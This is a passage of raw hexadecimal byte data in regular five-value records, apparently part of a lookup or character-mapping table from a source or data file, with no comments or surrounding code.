0x3A, 0x49, 0x25, +0x00, 0xC0, 0x3B, 0x4a, 0x25, +0x00, 0xC0, 0x3C, 0x4b, 0x25, +0x00, 0xC0, 0x3D, 0x4c, 0x25, +0x00, 0xC0, 0x3E, 0x4d, 0x25, +0x00, 0xC0, 0x3F, 0x4e, 0x25, +0x00, 0xC0, 0x40, 0x4f, 0x25, +0x00, 0xC0, 0x41, 0xc3, 0x12, +0x00, 0xC0, 0x42, 0x50, 0x25, +0x00, 0xC0, 0x43, 0x51, 0x25, +0x00, 0xC0, 0x44, 0x52, 0x25, +0x00, 0xC0, 0x45, 0x53, 0x25, +0x00, 0xC0, 0x46, 0x54, 0x25, +0x00, 0xC0, 0x47, 0x55, 0x25, +0x00, 0xC0, 0x48, 0x56, 0x25, +0x00, 0xC0, 0x49, 0x57, 0x25, +0x00, 0xC0, 0x4A, 0x58, 0x25, +0x00, 0xC0, 0x4B, 0x1a, 0x02, +0x00, 0xC0, 0x4C, 0x59, 0x25, +0x00, 0xC0, 0x4D, 0x5a, 0x25, +0x00, 0xC0, 0x4E, 0x5b, 0x25, +0x00, 0xC0, 0x4F, 0xd1, 0x05, +0x00, 0xC0, 0x50, 0x5c, 0x25, +0x00, 0xC0, 0x51, 0xf7, 0x01, +0x00, 0xC0, 0x52, 0x5d, 0x25, +0x00, 0xC0, 0x53, 0x5e, 0x25, +0x00, 0xC0, 0x54, 0xa4, 0x04, +0x00, 0xC0, 0x55, 0x5f, 0x25, +0x00, 0xC0, 0x56, 0x60, 0x25, +0x00, 0xC0, 0x57, 0x61, 0x25, +0x00, 0xC0, 0x58, 0x62, 0x25, +0x00, 0xC0, 0x59, 0x63, 0x25, +0x00, 0xC0, 0x5A, 0x64, 0x25, +0x00, 0xC0, 0x5B, 0x65, 0x25, +0x00, 0xC0, 0x5C, 0x66, 0x25, +0x00, 0xC0, 0x5D, 0x67, 0x25, +0x00, 0xC0, 0x5E, 0x68, 0x25, +0x00, 0xC0, 0x5F, 0x69, 0x25, +0x00, 0xC0, 0x60, 0x6a, 0x25, +0x00, 0xC0, 0x61, 0x6b, 0x25, +0x00, 0xC0, 0x62, 0x6c, 0x25, +0x00, 0xC0, 0x63, 0x6d, 0x25, +0x00, 0xC0, 0x64, 0xd2, 0x0f, +0x00, 0xC0, 0x65, 0x6e, 0x25, +0x00, 0xC0, 0x66, 0x6f, 0x25, +0x00, 0xC0, 0x67, 0x70, 0x25, +0x00, 0xC0, 0x68, 0xf8, 0x0c, +0x00, 0xC0, 0x69, 0x7d, 0x0e, +0x00, 0xC0, 0x6A, 0x71, 0x25, +0x00, 0xC0, 0x6B, 0x72, 0x25, +0x00, 0xC0, 0x6C, 0x73, 0x25, +0x00, 0xC0, 0x6D, 0x74, 0x25, +0x00, 0xC0, 0x6E, 0x75, 0x25, +0x00, 0xC0, 0x6F, 0x76, 0x25, +0x00, 0xC0, 0x70, 0x77, 0x25, +0x00, 0xC0, 0x71, 0x78, 0x25, +0x00, 0xC0, 0x72, 0x79, 0x25, +0x00, 0xC0, 0x73, 0x7a, 0x25, +0x00, 0xC0, 0x74, 0x7b, 0x25, +0x00, 0xC0, 0x75, 0x7c, 0x25, +0x00, 0xC0, 0x76, 0x7d, 0x25, +0x00, 0xC0, 0x77, 0xaa, 0x09, +0x00, 0xC0, 0x78, 0x63, 0x00, +0x00, 0xC0, 0x79, 0x7e, 0x25, +0x00, 0xC0, 0x7A, 0x7f, 0x25, +0x00, 0xC0, 0x7B, 0x80, 0x25, +0x00, 0xC0, 0x7C, 0x81, 0x25, +0x00, 0xC0, 0x7D, 0x82, 0x25, +0x00, 0xC0, 0x7E, 0x83, 0x25, +0x00, 0xC0, 0x7F, 0x84, 0x25, +0x00, 0xC0, 0x80, 0x7b, 0x0d, +0x00, 0xC0, 0x81, 0x85, 0x25, +0x00, 0xC0, 0x82, 0x86, 0x25, +0x00, 0xC0, 0x83, 0x87, 0x25, +0x00, 0xC0, 0x84, 0x88, 0x25, +0x00, 0xC0, 0x85, 0x7d, 0x00, +0x00, 0xC0, 0x86, 0x89, 0x25, +0x00, 0xC0, 0x87, 0x8a, 0x25, +0x00, 0xC0, 0x88, 0x8b, 0x25, +0x00, 0xC0, 0x89, 0x8c, 0x25, +0x00, 0xC0, 0x8A, 0x8d, 0x25, +0x00, 0xC0, 0x8B, 0x8e, 0x25, +0x00, 0xC0, 0x8C, 0xa1, 0x0e, +0x00, 0xC0, 0x8D, 0x8f, 0x25, +0x00, 0xC0, 0x8E, 0xea, 0x22, +0x00, 0xC0, 0x8F, 0x5e, 0x0d, +0x00, 0xC0, 0x90, 0x90, 0x25, +0x00, 0xC0, 0x91, 0x91, 0x25, +0x00, 0xC0, 0x92, 0x92, 0x25, +0x00, 0xC0, 0x93, 0x93, 0x25, +0x00, 0xC0, 0x94, 0x94, 0x25, +0x00, 0xC0, 0x95, 0x46, 0x0f, +0x00, 0xC0, 0x96, 0x95, 0x25, +0x00, 0xC0, 0x97, 0x96, 0x25, +0x00, 0xC0, 0x98, 0x97, 0x25, +0x00, 0xC0, 0x99, 0x98, 0x25, +0x00, 0xC0, 0x9A, 0x80, 0x13, +0x00, 0xC0, 0x9B, 0xaf, 0x0e, +0x00, 0xC0, 0x9C, 0x4f, 0x01, +0x00, 0xC0, 0x9D, 0x18, 0x24, +0x00, 0xC0, 0x9E, 0x99, 0x25, +0x00, 0xC0, 0x9F, 0x20, 0x13, +0x00, 0xC0, 0xA0, 0x9a, 0x25, +0x00, 0xC0, 0xA1, 0x9b, 0x25, +0x00, 0xC0, 0xA2, 0x9c, 0x25, +0x00, 0xC0, 0xA3, 0x9d, 0x25, +0x00, 0xC0, 0xA4, 0x9e, 0x25, +0x00, 0xC0, 0xA5, 0x9f, 0x25, +0x00, 0xC0, 0xA6, 0xa0, 0x25, +0x00, 0xC0, 0xA7, 0xa1, 0x25, +0x00, 0xC0, 0xA8, 0xa2, 0x25, +0x00, 0xC0, 0xA9, 0xa3, 0x25, +0x00, 0xC0, 0xAA, 0xa4, 0x25, +0x00, 0xC0, 0xAB, 0x18, 0x00, +0x00, 0xC0, 0xAC, 0xa5, 0x25, +0x00, 0xC0, 0xAD, 0xa6, 0x25, +0x00, 0xC0, 0xAE, 0xa7, 0x25, +0x00, 0xC0, 0xAF, 0xa8, 0x25, +0x00, 0xC0, 0xB0, 0xa9, 0x25, +0x00, 0xC0, 0xB1, 0xaa, 0x25, +0x00, 0xC0, 0xB2, 0xab, 0x25, +0x00, 0xC0, 0xB3, 0xac, 0x25, +0x00, 0xC0, 0xB4, 0xad, 0x25, +0x00, 0xC0, 0xB5, 0xae, 0x25, +0x00, 0xC0, 0xB6, 0x7b, 0x23, +0x00, 0xC0, 0xB7, 0x36, 0x06, +0x00, 0xC0, 0xB8, 0xaf, 0x25, +0x00, 0xC0, 0xB9, 0xb0, 0x25, +0x00, 0xC0, 0xBA, 0xb1, 0x25, +0x00, 0xC0, 0xBB, 0xb2, 0x25, +0x00, 0xC0, 0xBC, 0xb3, 0x25, +0x00, 0xC0, 0xBD, 0xb4, 0x25, +0x00, 0xC0, 0xBE, 0xd1, 0x06, +0x00, 0xC0, 0xBF, 0x71, 0x0c, +0x00, 0xC0, 0xC0, 0xb5, 0x25, +0x00, 0xC0, 0xC1, 0xb6, 0x25, +0x00, 0xC0, 0xC2, 0x8f, 0x04, +0x00, 0xC0, 0xC3, 0xb7, 0x25, +0x00, 0xC0, 0xC4, 0x63, 0x00, +0x00, 0xC0, 0xC5, 0xb8, 0x25, +0x00, 0xC0, 0xC6, 0x23, 0x24, +0x00, 0xC0, 0xC7, 0xb9, 0x25, +0x00, 0xC0, 0xC8, 0xba, 0x25, +0x00, 0xC0, 0xC9, 0xbb, 0x25, +0x00, 0xC0, 0xCA, 0xbc, 0x25, +0x00, 0xC0, 0xCB, 0xbc, 0x0b, +0x00, 0xC0, 0xCC, 0xbd, 0x25, +0x00, 0xC0, 0xCD, 0xbe, 0x25, +0x00, 0xC0, 0xCE, 0xbf, 0x25, +0x00, 0xC0, 0xCF, 0xc0, 0x25, +0x00, 0xC0, 0xD0, 0xc1, 0x25, +0x00, 0xC0, 0xD1, 0xc2, 0x25, +0x00, 0xC0, 0xD2, 0xc3, 0x25, +0x00, 0xC0, 0xD3, 0xc4, 0x25, +0x00, 0xC0, 0xD4, 0xc5, 0x25, +0x00, 0xC0, 0xD5, 0xc6, 0x25, +0x00, 0xC0, 0xD6, 0xc7, 0x25, +0x00, 0xC0, 0xD7, 0xc8, 0x25, +0x00, 0xC0, 0xD8, 0x0a, 0x01, +0x00, 0xC0, 0xD9, 0xc9, 0x25, +0x00, 0xC0, 0xDA, 0xa2, 0x02, +0x00, 0xC0, 0xDB, 0xca, 0x25, +0x00, 0xC0, 0xDC, 0xcb, 0x25, +0x00, 0xC0, 0xDD, 0x91, 0x0c, +0x00, 0xC0, 0xDE, 0xcc, 0x25, +0x00, 0xC0, 0xDF, 0xcd, 0x25, +0x00, 0xC0, 0xE0, 0xce, 0x25, +0x00, 0xC0, 0xE1, 0xcf, 0x25, +0x00, 0xC0, 0xE2, 0xd0, 0x25, +0x00, 0xC0, 0xE3, 0xd1, 0x25, +0x00, 0xC0, 0xE4, 0xb0, 0x04, +0x00, 0xC0, 0xE5, 0xd2, 0x25, +0x00, 0xC0, 0xE6, 0x9d, 0x1a, +0x00, 0xC0, 0xE7, 0xd3, 0x25, +0x00, 0xC0, 0xE8, 0xd4, 0x25, +0x00, 0xC0, 0xE9, 0xd5, 0x25, +0x00, 0xC0, 0xEA, 0xd6, 0x25, +0x00, 0xC0, 0xEB, 0xd7, 0x25, +0x00, 0xC0, 0xEC, 0xd8, 0x25, +0x00, 0xC0, 0xED, 0xd9, 0x25, +0x00, 0xC0, 0xEE, 0x44, 0x1c, +0x00, 0xC0, 0xEF, 0xda, 0x25, +0x00, 0xC0, 0xF0, 0x0b, 0x1f, +0x00, 0xC0, 0xF1, 0xb5, 0x0e, +0x00, 0xC0, 0xF2, 0x54, 0x24, +0x00, 0xC0, 0xF3, 0xbb, 0x14, +0x00, 0xC0, 0xF4, 0xd2, 0x12, +0x00, 0xC0, 0xF5, 0xdb, 0x25, +0x00, 0xC0, 0xF6, 0xdc, 0x25, +0x00, 0xC0, 0xF7, 0xdd, 0x25, +0x00, 0xC0, 0xF8, 0xde, 0x25, +0x00, 0xC0, 0xF9, 0x95, 0x01, +0x00, 0xC0, 0xFA, 0xdf, 0x25, +0x00, 0xC0, 0xFB, 0xf7, 0x01, +0x00, 0xC0, 0xFC, 0xe0, 0x25, +0x00, 0xC0, 0xFD, 0xe1, 0x25, +0x00, 0xC0, 0xFE, 0xe2, 0x25, +0x00, 0xC0, 0xFF, 0x13, 0x21, +0x00, 0xC1, 0x4F, 0xe3, 0x25, +0x00, 0xC1, 0x64, 0x05, 0x00, +0x00, 0xC1, 0xB1, 0x05, 0x00, +0x00, 0xC2, 0xC6, 0x80, 0x10, +0x00, 0xC3, 0xF4, 0x4f, 0x02, +0x00, 0xC5, 0xDB, 0x80, 0x20, +0x00, 0xC6, 0x10, 0x51, 0x03, +0x00, 0xC8, 0x8B, 0x05, 0x00, +0x00, 0xCA, 0xE5, 0x05, 0x00, +0x00, 0xCB, 0x00, 0x65, 0x00, +0x00, 0xCB, 0xB4, 0xe9, 0x01, +0x00, 0xCB, 0xBD, 0x34, 0x02, +0x00, 0xCC, 0x3F, 0x0a, 0x01, +0x00, 0xCC, 0xFC, 0x05, 0x00, +0x00, 0xCD, 0x90, 0xe4, 0x25, +0x00, 0xCD, 0xFE, 0x51, 0x03, +0x00, 0xCF, 0x1C, 0x5a, 0x08, +0x00, 0xCF, 0xC0, 0xe5, 0x25, +0x00, 0xD0, 0x00, 0xe6, 0x25, +0x00, 0xD0, 0x01, 0xe7, 0x25, +0x00, 0xD0, 0x02, 0xe8, 0x25, +0x00, 0xD0, 0x03, 0xe9, 0x25, +0x00, 0xD0, 0x04, 0xea, 0x25, +0x00, 0xD0, 0x05, 0xeb, 0x25, +0x00, 0xD0, 0x06, 0x05, 0x00, +0x00, 0xD0, 0x07, 0xec, 0x25, +0x00, 0xD0, 0x08, 0xed, 0x25, +0x00, 0xD0, 0x09, 0x0f, 0x1b, +0x00, 0xD0, 0x0A, 0xee, 0x25, +0x00, 0xD0, 0x0B, 0xef, 0x25, +0x00, 0xD0, 0x0C, 0xf0, 0x25, +0x00, 0xD0, 0x0D, 0xf1, 0x25, +0x00, 0xD0, 0x0E, 0xf2, 0x25, +0x00, 0xD0, 0x0F, 0xf3, 0x25, +0x00, 0xD0, 0x10, 0xf2, 0x15, +0x00, 0xD0, 0x11, 0xf4, 0x25, +0x00, 0xD0, 0x12, 0xf5, 0x25, +0x00, 0xD0, 0x13, 0xf6, 0x25, +0x00, 0xD0, 0x14, 0xf7, 0x25, +0x00, 0xD0, 0x15, 0xf8, 0x25, +0x00, 0xD0, 0x16, 0xf9, 0x25, +0x00, 0xD0, 0x17, 0xfa, 0x25, +0x00, 0xD0, 0x18, 0xfb, 0x25, +0x00, 0xD0, 0x19, 0x75, 0x12, +0x00, 0xD0, 0x1A, 0xfc, 0x25, +0x00, 0xD0, 0x1B, 0xfd, 0x25, +0x00, 0xD0, 0x1C, 0xfe, 0x25, +0x00, 0xD0, 0x1D, 0xff, 0x25, +0x00, 0xD0, 0x1E, 0x00, 0x26, +0x00, 0xD0, 0x1F, 0x01, 0x26, +0x00, 0xD0, 0x20, 0x02, 0x26, +0x00, 0xD0, 0x21, 0x03, 0x26, +0x00, 0xD0, 0x22, 0x04, 0x26, +0x00, 0xD0, 0x23, 0x05, 0x26, +0x00, 0xD0, 0x24, 0x06, 0x26, +0x00, 0xD0, 0x25, 0x07, 0x26, +0x00, 0xD0, 0x26, 0x5b, 0x16, +0x00, 0xD0, 0x27, 0x08, 0x26, +0x00, 0xD0, 0x28, 0x60, 0x09, +0x00, 0xD0, 0x29, 0x09, 0x26, +0x00, 0xD0, 0x2A, 0x0a, 0x26, +0x00, 0xD0, 0x2B, 0x0b, 0x26, +0x00, 0xD0, 0x2C, 0x0c, 0x26, +0x00, 0xD0, 0x2D, 0x0d, 0x26, +0x00, 0xD0, 0x2E, 0x5a, 0x08, +0x00, 0xD0, 0x2F, 0x0e, 0x26, +0x00, 0xD0, 0x30, 0x0f, 0x26, +0x00, 0xD0, 0x31, 0xf6, 0x09, +0x00, 0xD0, 0x32, 0x10, 0x26, +0x00, 0xD0, 0x33, 0x11, 0x26, +0x00, 0xD0, 0x34, 0x12, 0x26, +0x00, 0xD0, 0x35, 0x13, 0x26, +0x00, 0xD0, 0x36, 0x71, 0x0c, +0x00, 0xD0, 0x37, 0xb9, 0x00, +0x00, 0xD0, 0x38, 0x14, 0x26, +0x00, 0xD0, 0x39, 0x15, 0x26, +0x00, 0xD0, 0x3A, 0x16, 0x26, +0x00, 0xD0, 0x3B, 0x17, 0x26, +0x00, 0xD0, 0x3C, 0x18, 0x26, +0x00, 0xD0, 0x3D, 0x19, 0x26, +0x00, 0xD0, 0x3E, 0x1a, 0x26, +0x00, 0xD0, 0x3F, 0x36, 0x06, +0x00, 0xD0, 0x40, 0x1b, 0x26, +0x00, 0xD0, 0x41, 0x1c, 0x26, +0x00, 0xD0, 0x42, 0x1d, 0x26, +0x00, 0xD0, 0x43, 0x1e, 0x26, +0x00, 0xD0, 0x44, 0x1f, 0x26, +0x00, 0xD0, 0x45, 0x20, 0x26, +0x00, 0xD0, 0x46, 0x21, 0x26, +0x00, 0xD0, 0x47, 0x22, 0x26, +0x00, 0xD0, 0x48, 0x23, 0x26, +0x00, 0xD0, 0x49, 0x24, 0x26, +0x00, 0xD0, 0x4A, 0x25, 0x26, +0x00, 0xD0, 0x4B, 0x26, 0x26, +0x00, 0xD0, 0x4C, 0x27, 0x26, +0x00, 0xD0, 0x4D, 0x28, 0x26, +0x00, 0xD0, 0x4E, 0x29, 0x26, +0x00, 0xD0, 0x4F, 0x2a, 0x26, +0x00, 0xD0, 0x50, 0x2b, 0x26, +0x00, 0xD0, 0x51, 0x2c, 0x26, +0x00, 0xD0, 0x52, 0x80, 0x25, +0x00, 0xD0, 0x53, 0x2d, 0x26, +0x00, 0xD0, 0x54, 0x2e, 0x26, +0x00, 0xD0, 0x55, 0x2f, 0x26, +0x00, 0xD0, 0x56, 0x30, 0x26, +0x00, 0xD0, 0x57, 0x31, 0x26, +0x00, 0xD0, 0x58, 0x05, 0x00, +0x00, 0xD0, 0x59, 0x5e, 0x02, +0x00, 0xD0, 0x5A, 0x32, 0x26, +0x00, 0xD0, 0x5B, 0x33, 0x26, +0x00, 0xD0, 0x5C, 0x2f, 0x26, +0x00, 0xD0, 0x5D, 0x34, 0x26, +0x00, 0xD0, 0x5E, 0x35, 0x26, +0x00, 0xD0, 0x5F, 0x36, 0x26, +0x00, 0xD0, 0x60, 0x5e, 0x0d, +0x00, 0xD0, 0x61, 0x37, 0x26, +0x00, 0xD0, 0x62, 0x38, 0x26, +0x00, 0xD0, 0x63, 0x05, 0x00, +0x00, 0xD0, 0x64, 0x39, 0x26, +0x00, 0xD0, 0x65, 0x3a, 0x26, +0x00, 0xD0, 0x66, 0x3b, 0x26, +0x00, 0xD0, 0x67, 0x3c, 0x26, +0x00, 0xD0, 0x68, 0x3d, 0x26, +0x00, 0xD0, 0x69, 0x71, 0x0c, +0x00, 0xD0, 0x6A, 0x3e, 0x26, +0x00, 0xD0, 0x6B, 0x3f, 0x26, +0x00, 0xD0, 0x6C, 0x40, 0x26, +0x00, 0xD0, 0x6D, 0x41, 0x26, +0x00, 0xD0, 0x6E, 0x42, 0x26, +0x00, 0xD0, 0x6F, 0x43, 0x26, +0x00, 0xD0, 0x70, 0x44, 0x26, +0x00, 0xD0, 0x71, 0x45, 0x26, +0x00, 0xD0, 0x72, 0x46, 0x26, +0x00, 0xD0, 0x73, 0x47, 0x26, +0x00, 0xD0, 0x74, 0x48, 0x26, +0x00, 0xD0, 0x75, 0x49, 0x26, +0x00, 0xD0, 0x76, 0x4a, 0x26, +0x00, 0xD0, 0x77, 0x09, 0x05, +0x00, 0xD0, 0x78, 0x4b, 0x26, +0x00, 0xD0, 0x79, 0x05, 0x00, +0x00, 0xD0, 0x7A, 0x4c, 0x26, +0x00, 0xD0, 0x7B, 0x4d, 0x26, +0x00, 0xD0, 0x7C, 0x4e, 0x26, +0x00, 0xD0, 0x7D, 0x4f, 0x26, +0x00, 0xD0, 0x7E, 0x50, 0x26, +0x00, 0xD0, 0x7F, 0x51, 0x26, +0x00, 0xD0, 0x80, 0x52, 0x26, +0x00, 0xD0, 0x81, 0x53, 0x26, +0x00, 0xD0, 0x82, 0x54, 0x26, +0x00, 0xD0, 0x83, 0x55, 0x26, +0x00, 0xD0, 0x84, 0x56, 0x26, +0x00, 0xD0, 0x85, 0x57, 0x26, +0x00, 0xD0, 0x86, 0x58, 0x26, +0x00, 0xD0, 0x87, 0x59, 0x26, +0x00, 0xD0, 0x88, 0xb9, 0x00, +0x00, 0xD0, 0x89, 0x5a, 0x26, +0x00, 0xD0, 0x8A, 0x5b, 0x26, +0x00, 0xD0, 0x8B, 0x60, 0x0a, +0x00, 0xD0, 0x8C, 0x5c, 0x26, +0x00, 0xD0, 0x8D, 0x5d, 0x26, +0x00, 0xD0, 0x8E, 0x1c, 0x21, +0x00, 0xD0, 0x8F, 0x5e, 0x26, +0x00, 0xD0, 0x90, 0x05, 0x00, +0x00, 0xD0, 0x91, 0x5f, 0x26, +0x00, 0xD0, 0x92, 0x54, 0x22, +0x00, 0xD0, 0x93, 0x60, 0x26, +0x00, 0xD0, 0x94, 0x61, 0x26, +0x00, 0xD0, 0x95, 0xd1, 0x06, +0x00, 0xD0, 0x96, 0xc0, 0x03, +0x00, 0xD0, 0x97, 0x05, 0x00, +0x00, 0xD0, 0x98, 0x62, 0x26, +0x00, 0xD0, 0x99, 0x63, 0x26, +0x00, 0xD0, 0x9A, 0x64, 0x26, +0x00, 0xD0, 0x9B, 0x65, 0x26, +0x00, 0xD0, 0x9C, 0x66, 0x26, +0x00, 0xD0, 0x9D, 0x67, 0x26, +0x00, 0xD0, 0x9E, 0x02, 0x0c, +0x00, 0xD0, 0x9F, 0x68, 0x26, +0x00, 0xD0, 0xA0, 0x69, 0x26, +0x00, 0xD0, 0xA1, 0x6a, 0x26, +0x00, 0xD0, 0xA2, 0xd5, 0x00, +0x00, 0xD0, 0xA3, 0x6b, 0x26, +0x00, 0xD0, 0xA4, 0x6c, 0x26, +0x00, 0xD0, 0xA5, 0x36, 0x06, +0x00, 0xD0, 0xA6, 0x6d, 0x26, +0x00, 0xD0, 0xA7, 0x67, 0x02, +0x00, 0xD0, 0xA8, 0xfb, 0x01, +0x00, 0xD0, 0xA9, 0x6e, 0x26, +0x00, 0xD0, 0xAA, 0x6f, 0x26, +0x00, 0xD0, 0xAB, 0x70, 0x26, +0x00, 0xD0, 0xAC, 0x49, 0x20, +0x00, 0xD0, 0xAD, 0x71, 0x26, +0x00, 0xD0, 0xAE, 0x72, 0x26, +0x00, 0xD0, 0xAF, 0x73, 0x26, +0x00, 0xD0, 0xB0, 0x74, 0x26, +0x00, 0xD0, 0xB1, 0x75, 0x26, +0x00, 0xD0, 0xB2, 0x11, 0x1a, +0x00, 0xD0, 0xB3, 0x76, 0x26, +0x00, 0xD0, 0xB4, 0x77, 0x26, +0x00, 0xD0, 0xB5, 0x78, 0x26, +0x00, 0xD0, 0xB6, 0x79, 0x26, +0x00, 0xD0, 0xB7, 0x82, 0x02, +0x00, 0xD0, 0xB8, 0x7a, 0x26, +0x00, 0xD0, 0xB9, 0x14, 0x23, +0x00, 0xD0, 0xBA, 0x05, 0x00, +0x00, 0xD0, 0xBB, 0x05, 0x00, +0x00, 0xD0, 0xBC, 0x05, 0x00, +0x00, 0xD0, 0xBD, 0x7b, 0x26, +0x00, 0xD0, 0xBE, 0x7c, 0x26, +0x00, 0xD0, 0xBF, 0x35, 0x20, +0x00, 0xD0, 0xC0, 0x05, 0x00, +0x00, 0xD0, 0xC1, 0x60, 0x09, +0x00, 0xD0, 0xC2, 0x7d, 0x26, +0x00, 0xD0, 0xC3, 0x7e, 0x26, +0x00, 0xD0, 0xC4, 0x7f, 0x26, +0x00, 0xD0, 0xC5, 0x80, 0x26, +0x00, 0xD0, 0xC6, 0x81, 0x26, +0x00, 0xD0, 0xC7, 0x82, 0x26, +0x00, 0xD0, 0xC8, 0x83, 0x26, +0x00, 0xD0, 0xC9, 0x78, 0x0a, +0x00, 0xD0, 0xCA, 0xb5, 0x05, +0x00, 0xD0, 0xCB, 0x84, 0x26, +0x00, 0xD0, 0xCC, 0x71, 0x0c, +0x00, 0xD0, 0xCD, 0x85, 0x26, +0x00, 0xD0, 0xCE, 0x86, 0x26, +0x00, 0xD0, 0xCF, 0x87, 0x26, +0x00, 0xD0, 0xD0, 0x88, 0x26, +0x00, 0xD0, 0xD1, 0xa0, 0x1a, +0x00, 0xD0, 0xD2, 0x89, 0x26, +0x00, 0xD0, 0xD3, 0x05, 0x00, +0x00, 0xD0, 0xD4, 0x8a, 0x26, +0x00, 0xD0, 0xD5, 0x8b, 0x26, +0x00, 0xD0, 0xD6, 0x8c, 0x26, +0x00, 0xD0, 0xD7, 0x8d, 0x26, +0x00, 0xD0, 0xD8, 0xf2, 0x00, +0x00, 0xD0, 0xD9, 0xf8, 0x0f, +0x00, 0xD0, 0xDA, 0x8e, 0x26, +0x00, 0xD0, 0xDB, 0x8f, 0x26, +0x00, 0xD0, 0xDC, 0x90, 0x26, +0x00, 0xD0, 0xDD, 0x91, 0x26, +0x00, 0xD0, 0xDE, 0x69, 0x08, +0x00, 0xD0, 0xDF, 0x92, 0x26, +0x00, 0xD0, 0xE0, 0x93, 0x26, +0x00, 0xD0, 0xE1, 0x94, 0x26, +0x00, 0xD0, 0xE2, 0x95, 0x26, +0x00, 0xD0, 0xE3, 0x96, 0x26, +0x00, 0xD0, 0xE4, 0x05, 0x00, +0x00, 0xD0, 0xE5, 0x97, 0x26, +0x00, 0xD0, 0xE6, 0x98, 0x26, +0x00, 0xD0, 0xE7, 0x99, 0x26, +0x00, 0xD0, 0xE8, 0x9a, 0x26, +0x00, 0xD0, 0xE9, 0x6f, 0x09, +0x00, 0xD0, 0xEA, 0x9b, 0x26, +0x00, 0xD0, 0xEB, 0x9c, 0x26, +0x00, 0xD0, 0xEC, 0x9d, 0x26, +0x00, 0xD0, 0xED, 0x9e, 0x26, +0x00, 0xD0, 0xEE, 0x9f, 0x26, +0x00, 0xD0, 0xEF, 0xa0, 0x26, +0x00, 0xD0, 0xF0, 0xa1, 0x26, +0x00, 0xD0, 0xF1, 0xa2, 0x26, +0x00, 0xD0, 0xF2, 0xa3, 0x26, +0x00, 0xD0, 0xF3, 0xa4, 0x26, +0x00, 0xD0, 0xF4, 0xa5, 0x26, +0x00, 0xD0, 0xF5, 0xa6, 0x26, +0x00, 0xD0, 0xF6, 0x4f, 0x12, +0x00, 0xD0, 0xF7, 0xa7, 0x26, +0x00, 0xD0, 0xF8, 0xe0, 0x09, +0x00, 0xD0, 0xF9, 0xa8, 0x26, +0x00, 0xD0, 0xFA, 0x1c, 0x0e, +0x00, 0xD0, 0xFB, 0xa9, 0x26, +0x00, 0xD0, 0xFC, 0xaa, 0x26, +0x00, 0xD0, 0xFD, 0xab, 0x26, +0x00, 0xD0, 0xFE, 0xac, 0x26, +0x00, 0xD0, 0xFF, 0x05, 0x00, +0x00, 0xD1, 0x1C, 0xad, 0x26, +0x00, 0xD3, 0x18, 0xae, 0x26, +0x00, 0xD3, 0x8D, 0xaf, 0x26, +0x00, 0xD6, 0x32, 0x32, 0x10, +0x00, 0xD7, 0x8F, 0x05, 0x00, +0x00, 0xD9, 0xD1, 0xd3, 0x03, +0x00, 0xDA, 0x55, 0x05, 0x00, +0x00, 0xDB, 0x1E, 0xb0, 0x26, +0x00, 0xDB, 0x45, 0xb1, 0x26, +0x00, 0xDB, 0x70, 0x51, 0x03, +0x00, 0xDB, 0xDF, 0x80, 0x10, +0x00, 0xDD, 0x00, 0x18, 0x25, +0x00, 0xDD, 0x01, 0x18, 0x25, +0x00, 0xDD, 0x02, 0x18, 0x25, +0x00, 0xDD, 0x03, 0x18, 0x25, +0x00, 0xDD, 0x04, 0x18, 0x25, +0x00, 0xDD, 0x05, 0x18, 0x25, +0x00, 0xDD, 0x06, 0x18, 0x25, +0x00, 0xDD, 0x07, 0x18, 0x25, +0x00, 0xDD, 0x08, 0x18, 0x25, +0x00, 0xDD, 0x09, 0x18, 0x25, +0x00, 0xDD, 0x0A, 0x18, 0x25, +0x00, 0xDD, 0x0B, 0x18, 0x25, +0x00, 0xDD, 0x0C, 0x18, 0x25, +0x00, 0xDD, 0x0D, 0x18, 0x25, +0x00, 0xDD, 0x0E, 0x18, 0x25, +0x00, 0xDD, 0x0F, 0x18, 0x25, +0x00, 0xDE, 0xFB, 0x05, 0x00, +0x00, 0xE0, 0x00, 0x07, 0x00, +0x00, 0xE0, 0x01, 0xb2, 0x26, +0x00, 0xE0, 0x02, 0xb3, 0x26, +0x00, 0xE0, 0x03, 0xb4, 0x26, +0x00, 0xE0, 0x04, 0xb5, 0x26, +0x00, 0xE0, 0x05, 0x35, 0x06, +0x00, 0xE0, 0x06, 0xb6, 0x26, +0x00, 0xE0, 0x07, 0xb7, 0x26, +0x00, 0xE0, 0x08, 0xb8, 0x26, +0x00, 0xE0, 0x09, 0x97, 0x04, +0x00, 0xE0, 0x0A, 0xb9, 0x26, +0x00, 0xE0, 0x0B, 0xba, 0x26, +0x00, 0xE0, 0x0C, 0x22, 0x09, +0x00, 0xE0, 0x0D, 0xbb, 0x26, +0x00, 0xE0, 0x0E, 0xbc, 0x26, +0x00, 0xE0, 0x0F, 0x0e, 0x03, +0x00, 0xE0, 0x10, 0xbd, 0x26, +0x00, 0xE0, 0x11, 0xbe, 0x26, +0x00, 0xE0, 0x12, 0xbf, 0x26, +0x00, 0xE0, 0x13, 0xc0, 0x26, +0x00, 0xE0, 0x14, 0x05, 0x00, +0x00, 0xE0, 0x15, 0xc1, 0x26, +0x00, 0xE0, 0x16, 0xc2, 0x26, +0x00, 0xE0, 0x17, 0xc3, 0x26, +0x00, 0xE0, 0x18, 0xc4, 0x26, +0x00, 0xE0, 0x19, 0xc5, 0x26, +0x00, 0xE0, 0x1A, 0xc6, 0x26, +0x00, 0xE0, 0x1B, 0xc7, 0x26, +0x00, 0xE0, 0x1C, 0x8b, 0x1f, +0x00, 0xE0, 0x1D, 0xc8, 0x26, +0x00, 0xE0, 0x1E, 0x05, 0x00, +0x00, 0xE0, 0x1F, 0xc9, 0x26, +0x00, 0xE0, 0x20, 0xca, 0x26, +0x00, 0xE0, 0x21, 0xcb, 0x26, +0x00, 0xE0, 0x22, 0x74, 0x05, +0x00, 0xE0, 0x23, 0xcc, 0x26, +0x00, 0xE0, 0x24, 0xcd, 0x26, +0x00, 0xE0, 0x25, 0xce, 0x26, +0x00, 0xE0, 0x26, 0xcf, 0x26, +0x00, 0xE0, 0x27, 0xd0, 0x26, +0x00, 0xE0, 0x28, 0xd1, 0x26, +0x00, 0xE0, 0x29, 0xd2, 0x26, +0x00, 0xE0, 0x2A, 0x97, 0x0f, +0x00, 0xE0, 0x2B, 0x1c, 0x01, +0x00, 0xE0, 0x2C, 0xd3, 0x26, +0x00, 0xE0, 0x2D, 0xf6, 0x04, +0x00, 0xE0, 0x2E, 0xd4, 0x26, +0x00, 0xE0, 0x2F, 0xd5, 0x26, +0x00, 0xE0, 0x30, 0xd6, 0x26, +0x00, 0xE0, 0x31, 0xf9, 0x21, +0x00, 0xE0, 0x32, 0xd7, 0x26, +0x00, 0xE0, 0x33, 0xd8, 0x26, +0x00, 